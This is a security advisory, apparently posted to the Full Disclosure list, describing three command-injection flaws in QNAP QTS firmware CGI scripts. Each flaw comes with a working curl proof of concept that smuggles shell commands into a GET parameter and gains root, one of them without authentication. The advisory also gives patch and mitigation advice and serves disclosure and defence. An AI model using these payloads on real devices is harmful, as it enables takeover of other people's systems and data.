Subject: [FD] QNAP QTS multiple RCE vulnerabilities (CVE-2017-6361,
 CVE-2017-6360, CVE-2017-6359)

QNAP QTS multiple RCE vulnerabilities
=====================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt


Overview
--------

QNAP QTS firmware contains multiple Command Injection (CWE-77)
vulnerabilities that can be exploited to gain remote command execution
on the devices.


Description
-----------

QNAP QTS web user interface CGI binaries include Command Injection
(CWE-77) vulnerabilities. An unauthenticated attacker can execute
arbitrary commands on the targeted device.


Impact
------

The attacker is able to execute arbitrary commands as administrative user
(root). The attacker has full access to all content on the targeted
device, and can read, modify or remove content at will.


Details
-------

The discovered vulnerabilities, described in more detail below, enable
multiple independent attacks described here in brief:

- Unauthenticated Remote Command Execution

   The unauthenticated attacker can perform HTTP requests that exploit
   the vulnerability to execute arbitrary commands. If the device is
   connected to the internet, the vulnerable devices can be taken over in
   an automated fashion and can then be used for further attacks.

- Authenticated Remote Command Execution

   The authenticated attacker can perform HTTP requests that exploit
   the vulnerabilities to execute arbitrary commands. This gives users
   that normally have only restricted access to the device full
   administrative (root) access to the system and access to all data
   stored on the device regardless of the specified access limitations.


Vulnerabilities
---------------

1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77)

/cgi-bin/authLogin.cgi CGI has a command injection bug. The
following commands are executed via system():

/sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1
/sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null

The value inserted to %s is obtained from the `reboot_notice_msg' HTTP
request GET parameter.

The reboot_notice_msg is a base64 encoded message of form:

QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD

- TTTTTTTT is the unix time stamp (last 8 digits)
- CCCCCCCCCCCCCCCC is the command to perform (Disconnect)
- LLLL is the payload length
- PAYLOAD is the payload contents (LLLL bytes)

By creating a crafted reboot_notice_msg value, arbitrary commands
can be executed. For example:

QNAPVJBD88150863      Disconnect  14`(echo;id)>&2`

$ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s  14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')"
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Content-type: text/xml

<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<command>Disconnect</command>
<payload>`(echo;id)>&2`</payload>
</QDocRoot>
$


2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77)

/cgi-bin/userConfig.cgi CGI has a command injection bug. The following
command is executed via popen():

/sbin/cloud_util -r %s 2>/dev/null

The value inserted to %s is obtained from the `hash' HTTP request GET
parameter.

An authenticated user can use a specially crafted hash parameter to execute
arbitrary commands as root:

$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
HTTP/1.1 200 OK
Date: Sun, 26 Feb 2017 22:55:48 GMT
Transfer-Encoding: chunked
Content-Type: text/plain

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown
Content-type: text/html; charset="UTF-8"

Usage:
         /sbin/cloud_util -r [enc_token]
$


3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77)

/cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The
following commands are executed via system():

/bin/kill -9 %s

The value inserted to %s is obtained from the `pid' HTTP request GET
parameter.

An authenticated user can use a specially crafted pid parameter to execute
arbitrary commands as root:

$ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`'
{ "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" }

[~] # cat /tmp/pwned
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[~] #


Vulnerable devices
------------------

The vulnerabilities were discovered from an QNAP TVS-663, firmware version
4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3
Build 20170213.

CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build
20161028.

It is believed that these vulnerabilities affect all devices running QTS.


Recommendations to vendor
-------------------------

1. Fix the command injection vulnerabilities by performing proper input
    validation (whitelisting) and/or shell metacharacter escaping, or by
    utilizing execl family of functions.


End user mitigation
-------------------

- Install the firmware update version 4.2.4 build 20170313 or later.

OR

- Restrict access to the web user interface (ports 8080 and 443).
